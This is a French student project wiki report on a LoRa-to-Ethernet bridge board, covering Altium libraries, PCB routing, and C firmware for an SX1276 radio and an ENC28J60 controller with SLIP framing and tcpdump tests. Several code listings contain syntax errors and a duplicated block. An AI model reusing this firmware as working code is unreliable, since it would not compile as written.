Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa avec des résistances de 220 Ω.&lt;br /&gt;
&lt;br /&gt;
Pour la réalisation de la carte, nous utiliserons un adaptateurs de niveaux.&lt;br /&gt;
&lt;br /&gt;
// photo tx0108&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Après configurations des registres pour la modulation LoRa, nous avons alors écrit le code pour gérer l'émission et la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Server (chargé de l'émission)-----&lt;br /&gt;
&lt;br /&gt;
Les registres sont configurés en mode 'Sleep'.  Ensuite on remplit le buffer FIFO des données à transmettre. &lt;br /&gt;
Pour effectuer une transmission,il faut d'abord faire une demande du mode de transmission (en d'autres mots configurer le registre des modes du sx1276), car lorsque la transmission est effectuée le sx1276 se met automatiquement en mode sleep.&lt;br /&gt;
A la fin de la transmission, l'interruption TXDone est levée.&lt;br /&gt;
&lt;br /&gt;
Voici le code :&lt;br /&gt;
int main() {&lt;br /&gt;
        mode                    = 0x01;&lt;br /&gt;
        Freq_Sel                = 0x00;&lt;br /&gt;
        Power_Sel               = 0x00;&lt;br /&gt;
        Lora_Rate_Sel           = 0x01;&lt;br /&gt;
        BandWide_Sel            = 0x08;&lt;br /&gt;
        Fsk_Rate_Sel            = 0x00;&lt;br /&gt;
        init_printf();&lt;br /&gt;
        spi_init();&lt;br /&gt;
        setup();&lt;br /&gt;
        printf(&amp;quot;####################\nLoRa-Server\n####################\n&amp;quot;);&lt;br /&gt;
        sx1276_Config();&lt;br /&gt;
        int T = 84;&lt;br /&gt;
        int loopCnt = 0;&lt;br /&gt;
        unsigned char paquet[T];&lt;br /&gt;
        unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
        unsigned char m=0;&lt;br /&gt;
        unsigned char inc;&lt;br /&gt;
        unsigned char i;&lt;br /&gt;
        int left;&lt;br /&gt;
        while(1)&lt;br /&gt;
        {&lt;br /&gt;
                for (i=0;i&amp;lt;T;i++) paquet[i] = (0x61 + i+ loopCnt);&lt;br /&gt;
                sx1276_Mode();&lt;br /&gt;
                left=T;&lt;br /&gt;
                inc=0;&lt;br /&gt;
                while(1){&lt;br /&gt;
                        if(left&amp;gt;=MAX_FRAGMENT) m=MAX_FRAGMENT; else m=left;&lt;br /&gt;
                        left=left-m;&lt;br /&gt;
                        for(i=0;i&amp;lt;m;i++){&lt;br /&gt;
                                fragment[i] = paquet[i+inc*MAX_FRAGMENT];&lt;br /&gt;
                        }&lt;br /&gt;
                        inc++;&lt;br /&gt;
                        fragment[m] = ((left&amp;lt;=0)?0x40:0x00)|inc;&lt;br /&gt;
                         sx1276_LoRaEntryTx(m+1);&lt;br /&gt;
                        sx1276_LoRaTxPacket(fragment,m+1);&lt;br /&gt;
                        //digitalWrite(led,1);&lt;br /&gt;
                        _delay_ms(50);&lt;br /&gt;
                        //printf(&amp;quot;Messages being transmitted\n&amp;quot;);&lt;br /&gt;
                        for (i=0;i&amp;lt;m+1;i++){&lt;br /&gt;
                                printf(&amp;quot;%02x &amp;quot;,fragment[i]);&lt;br /&gt;
                                if(i%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                        printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        if(left&amp;lt;=0) break;&lt;br /&gt;
                        digitalWrite(led, 0);&lt;br /&gt;
                        loopCnt++;&lt;br /&gt;
                        //printf(&amp;quot;.............................\n&amp;quot;);&lt;br /&gt;
                       }&lt;br /&gt;
        }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---- Module Client (chargé de la réception)-----&lt;br /&gt;
&lt;br /&gt;
De la même manière que pour l'émetteur, nous configurons le mode de reception continu.Lorsqu'un paquet est reçu, une interruption RxDone est levée et la pile FIFO peut être remplie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
  mode                  = 0x01;&lt;br /&gt;
  Freq_Sel              = 0x00;&lt;br /&gt;
  Power_Sel             = 0x00;&lt;br /&gt;
  Lora_Rate_Sel         = 0x01;&lt;br /&gt;
  BandWide_Sel          = 0x08;&lt;br /&gt;
  Fsk_Rate_Sel          = 0x00;&lt;br /&gt;
  init_printf();&lt;br /&gt;
  spi_init();&lt;br /&gt;
  setup();&lt;br /&gt;
  BlinkLed();&lt;br /&gt;
  printf(&amp;quot;\n\nHello I am LoRa Client\nWaiting for RX packet\n&amp;quot;);&lt;br /&gt;
  sx1276_Config();&lt;br /&gt;
  sx1276_LoRaEntryRx(MAX_FRAGMENT+1);&lt;br /&gt;
  unsigned char trameEthernet[MAX_ETHERNET];&lt;br /&gt;
 while(1) {&lt;br /&gt;
    unsigned char packet_size;&lt;br /&gt;
    unsigned char taille=0;&lt;br /&gt;
    unsigned char fragment[MAX_FRAGMENT+1];&lt;br /&gt;
    unsigned char i=0;&lt;br /&gt;
    unsigned char j=0;&lt;br /&gt;
    //sx1276_infos();&lt;br /&gt;
        if((packet_size=sx1276_LoRaRxPacket(fragment))!=0){&lt;br /&gt;
        unsigned char var=fragment[packet_size-1];&lt;br /&gt;
        unsigned char num_packet = (var&amp;amp;0x3F);&lt;br /&gt;
        unsigned char dernier_frag = (var&amp;amp;0xC0);&lt;br /&gt;
        int previous=(num_packet-1)*MAX_FRAGMENT;&lt;br /&gt;
        printf(&amp;quot;%d %d\n &amp;quot;,previous,packet_size);&lt;br /&gt;
        for(i=0;i&amp;lt;packet_size-1;i++) trameEthernet[previous+i]=fragment[i];&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
        if (dernier_frag==0x40){&lt;br /&gt;
                taille = previous+packet_size;&lt;br /&gt;
                printf(&amp;quot;trame Ethernet (%d) : \n&amp;quot;,taille);&lt;br /&gt;
                for (j=0; j&amp;lt;taille; j++) {&lt;br /&gt;
                        printf(&amp;quot;%02x &amp;quot;,trameEthernet[j]);&lt;br /&gt;
                        if(j%16==15) printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                        }&lt;br /&gt;
                printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
 }&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant, la modulation LoRa dépend fortement du facteur d'étalement, de la bande passante, et des données à envoyer. Le facteur d'étalement SF= 6 (spread factor) nécessite une configuration particulière des registres. &lt;br /&gt;
&lt;br /&gt;
NB : En mode LoRa, le nombre maximal d'octets qui peut être envoyé est de 255 octets. Ceci nous a conduit à fragmenter les paquets à envoyer(ou recevoir). Les données seront ensuite assemblés à la réception (côté Ethernet).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fragmentation des paquets LoRa&lt;br /&gt;
&lt;br /&gt;
Nous avons été confrontées au problème de taille maximale que pouvait transmettre le LoRa (nettement inférieure à la taille maximale du paquet Ethernet, pouvant aller jusqu’à 1500 octets).&lt;br /&gt;
&lt;br /&gt;
Le principe est de stocker les fragments de paquets Ethernet (&amp;lt;255 octets) jusqu’à la reconstitution complète du paquet initial.&lt;br /&gt;
&lt;br /&gt;
Principe:&lt;br /&gt;
&lt;br /&gt;
Lorsque le client reçoit un paquet, il examine le dernier octet :&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 0 : il ne s’agit pas du dernier fragment. Le client stocke le paquet dans un tableau( file d’attente de tous les paquets)&lt;br /&gt;
&lt;br /&gt;
	▪	si IF = 1 : le client place le paquet en fin de file du tableau.&lt;br /&gt;
	&lt;br /&gt;
Le client considère la file d'attente complète quand il a placé le premier et le dernier fragment et tous les fragments intermédiaires vérifiés par leur numéro de fragment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------Résultats des tests-------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:Loraemission.png|thumb|upright=1|Emission|400px]]&lt;br /&gt;
|[[Fichier:Lorareception.png|thumb|upright=1|Reception|450px]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
